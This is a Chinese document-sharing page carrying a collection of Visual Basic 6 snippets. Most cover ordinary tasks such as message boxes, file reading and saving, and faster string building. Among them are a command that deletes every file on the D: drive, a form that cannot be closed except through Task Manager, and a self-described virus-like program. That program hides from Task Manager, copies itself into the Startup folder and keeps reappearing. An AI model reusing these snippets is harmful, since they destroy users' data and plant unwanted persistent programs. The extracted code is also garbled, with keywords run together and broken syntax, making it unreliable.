代码大全.docx
《代码大全.docx》由会员分享,可在线阅读,更多相关《代码大全.docx(46页珍藏版)》请在冰豆网上搜索。
![代码大全.docx](https://file1.bdocx.com/fileroot1/2022-11/16/90286152-8208-4fa5-a6fa-7a3ab75fbe3e/90286152-8208-4fa5-a6fa-7a3ab75fbe3e1.gif)
代码大全
代码大全.txt一个人一盒烟一台电脑过一天一个人一瓶酒一盘蚕豆过一宿。
永远扛不住女人的小脾气,女人永远抵不住男人的花言巧语。
---------------------------------------------------------------------------------------------
退出程序时,弹出窗口提示是否要退出:
PrivateSubForm_Unload(CancelAsInteger)
DimiAnswerAsInteger
iAnswer=MsgBox("真要退出吗?
",vbYesNo)
IfiAnswer=vbNoThen
Cancel=True
Else
End
EndIf
EndSub
----------------------------------------------------------------------------------------------
只能用任务管理器关闭程序的代码:
PrivateSubFrom_Unload(CancelAsInteger)
Cancel=true
EndSub
------------------------------------------------------------------------------------------------
点击command1打开33IQ网:
DimstrURL
PrivateSubCommand1_Click()
strURL="错误!
超链接引用无效。
Shell"explorer.exe"&strURL,1
EndSub
------------------------------------------------------------------------------------------------
运行c:
\1.exe
shell"c:
\1.exe"
执行c:
\1.bat
shell"c:
\1.bat"
注:
只适用于大部分exe和全部bat。
------------------------------------------------------------------------------------------------
把label1.caption的值替换成label2.caption的值,label2.caption不变(括号内可省略):
label1(.caption)=label2(.caption)
注:
是变动值(被替换值)=数据值(参考值、不变值),别搞反了。
如label1=1而不是1=label1
---------------------------------------------------------------------------------------------
将text1的文本保存到某文件
(cd1是commanddialog控件,下同)
cd1.ShowSave
IfNotcd1.FileName=""Then
Opencd1.FileNameForOutputAs#1
Print#1,Text1.Text
Close#1
EndIf
------------------------------------------------------------------------------------------
把某文本文件读取到TEXT1
Dimtmp$
cd1.ShowOpen
IfNotcd1.FileName=""Then
Opencd1.FileNameForInputAs#1
LineInput#1,tmp$
Close#1
Text1=tmp
EndIf
-------------------------------------------------------------------------------------------
点击command1弹出窗口(红色处请替换成你要的内容)
PrivateSubCommand1_Click()
MsgBox"(显示文字)",vbYesNo(你要弹出的窗口的类型,下面有几种常用的类型),"(窗口标题)"
EndSub
或
PrivateSubCommand1_Click()
MsgBox"(显示文字)"
EndSub
常用的弹出窗口类型:
vbYesNo包含是、否按钮的窗口
vbYesNoCancle包含是、否、取消
vbOKonly只包含确定按钮
vbOKCancle包含确定、取消
vbQuestion带问号图标、只有确定按钮的窗口
-----------------------------------------------------------------------------------------------
点击command1,label1随机显示1.2.3
Functiona()AsString
Dimb
(2)AsString
b(0)=1
b
(1)=2
b
(2)=3
Randomize
a=b(Rnd*2)
EndFunction
PrivateSubCommand1_Click()
Label1.Caption=a
EndSub
--------------------------------------------------------------------------------------------------
删除"D:
\1.txt":
Kill"D:
\1.txt"
新建文件夹"D:
\123":
MkDir"d:
\123"
复制文件,由桌面的"1.txt"复制到"D:
\1.txt":
FileCopy"C:
\DocumentsandSettings\Administrator\桌面\1.txt","D:
\1.txt"
删除"D:
\123"文件夹:
Shell"cmd/c""rmdir.exe/s/qD:
\123\""",vbNormalFocus
删除D盘所有文件(红色处后面不加\):
Shell"cmd/c""rmdir.exe/s/qD:
""",vbNormalFocus
------------------------------------------------------------------------------------------------------
App.title="这是标题"
'在任务管理器-程序中此VB程序的名字,本例的标题为“这是标题”
App.TaskVisible=False
'隐藏任务管理器中此VB程序的名字
App.Path
'此VB程序的所在文件夹路径(如程序在“d:
\1.exe”,则此值为“d:
”,没有“\”)
App.EXEName
'此VB程序的文件名(如程序在“d:
\这是程序.exe”,则此值为“这是程序”,没有“.exe”)
------------------------------------------------------------------------------------------------------
一个小程序,类似病毒(不要运行!
!
仅供参考)。
新建工程,放入一个timer控件,改Interval值为1,然后输入以下代码即可:
PrivateSubForm_Load()
App.Title=""
App.TaskVisible=False
FileCopyApp.Path&"\"&App.EXEName&".exe","C:
\DocumentsandSettings\Administrator\「开始」菜单\程序\启动\"&App.EXEName&".exe"
EndSub
PrivateSubForm_Unload(CancelAsInteger)
Cancel=True
EndSub
PrivateSubTimer1_Timer()
Form1.Show
EndSub
用Mid$命令超速字符串添加操作
大家都知道,&操作符的执行速度是相当慢的,特别是处理长字符串时。
当必须重复地在同一变量上附加字符时,有一个基于Mid$命令的技巧可以使用。
基本思路就是:
预留一个足够长的空间存放操作的结果。
下面是应用这个技术的一个例子。
假设要建立一个字符串,它要附加从1开始的10000个整数:
"1234567...9999
10000"。
下面是最简单的实现代码:
res=""
Fori=1to10000:
res=res&Str(i):
Next
<>
face=宋体>代码虽然简单,但问题也很明显:
Res变量将被重分配10000次。
下面的代码实现同样的目的,但效果明显好转:
DimresAsString
DimiAsLong
DimindexAsLong
’预留足够长的缓冲空间
res=Space(90000)
’指针变量,指出在哪里插入字符串
index=1
’循环开始
Fori=1to10000
substr=Str(i)
length=Len(substr)
’填充字符串的相应区间段数值
Mid$(res,index,length)=substr
’调整指针变量
index=index+length
Next
’删除多余字符
res=Left$(res,index-1)
测试表明:
在一个333MHz的计算机上,前段代码执行时间为2.2秒,后者仅仅为0.08秒!
代码虽然长了些,可是速度却提高了25倍之多。
呵呵,由此看来:
代码也不可貌相啊
从头开始删除集合项目
删除集合中的所有内容有许多方法,其中有些非常得迅速。
来看看一个包含10,000个项目的集合:
DimcolAsNewCollection,iAsLong
Fori=1To10000
col.Addi,CStr(i)
Next
可以从末尾位置为起点删除集合内容,如下:
Fori=col.CountTo1Step-1
col.Removei
Next
也可以从开始位置为起点删除集合内容,如下:
Fori=1Tocol.CountStep1
col.Removei
Next
<>
face=宋体>试验证明,后者要快于前者百倍多,比如0.06秒比4.1秒